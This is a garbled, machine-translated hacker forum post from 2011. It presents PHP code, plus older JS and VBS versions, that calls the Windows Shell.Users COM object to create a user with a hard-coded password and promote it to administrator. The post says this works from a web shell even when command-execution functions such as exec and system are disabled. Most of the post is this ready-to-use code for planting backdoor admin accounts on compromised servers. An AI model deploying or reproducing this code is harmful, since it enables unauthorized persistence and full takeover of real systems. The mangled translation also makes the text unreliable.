Php shell. users and administrator account. Author: CyberH4ck [Nan Quan Daddy] Author: Nan Quan Daddy reprinted please indicate the source of hi.baidu.com Nan Quan daddy09 when LCX wrote the js and vbs shell. users and administrator account author: CyberH4ck [South boxing Daddy]
Author: the source of hi.baidu.com/nan boxing Daddy is reprinted by Nan Quan Daddy.
In, LCX wrote the shell. users and administrator account methods for js and vbs. later I wanted to change it to PHP,
Because the code analysis is not accurate enough, it is only recently written. When php executes command functions such as exec, system, shell_exec, proc_open, passthru, popen
This may be an opportunity when wscript. shell formation is disabled.
The code is as follows:
Echo"
PHP Shell. Users and administrator account
";
$ Username = "IceSkin ";
$ Password = "skin.com ";
$ Su = new COM ("Shell. Users ");
$ H = $ su-> create ($ username );
$ H-> changePassword ($ password ,"");
$ H-> setting ["AccountType"] = 3; // you can add a user to the administrators group,
?>
As follows:
The Web server built on apache can be successfully executed. IIS seems to have insufficient permissions. the web server built on nginx and lighttpd has not been tested yet.
The following is the LCX code.
Js:
Var o = new ActiveXObject ("Shell. Users ");
Z = o. create ("test ");
Z. changePassword ("123456 ","")
Z. setting ("AccountType") = 3;
Vbs:
Set o = CreateObject ("Shell. Users ")
Set z = o. create ("test ")
Z. changePassword "123456 ",""
Z. setting ("AccountType") = 3
[This post was last edited by CyberH4ck at, 2011-5-29]
Copyright Author...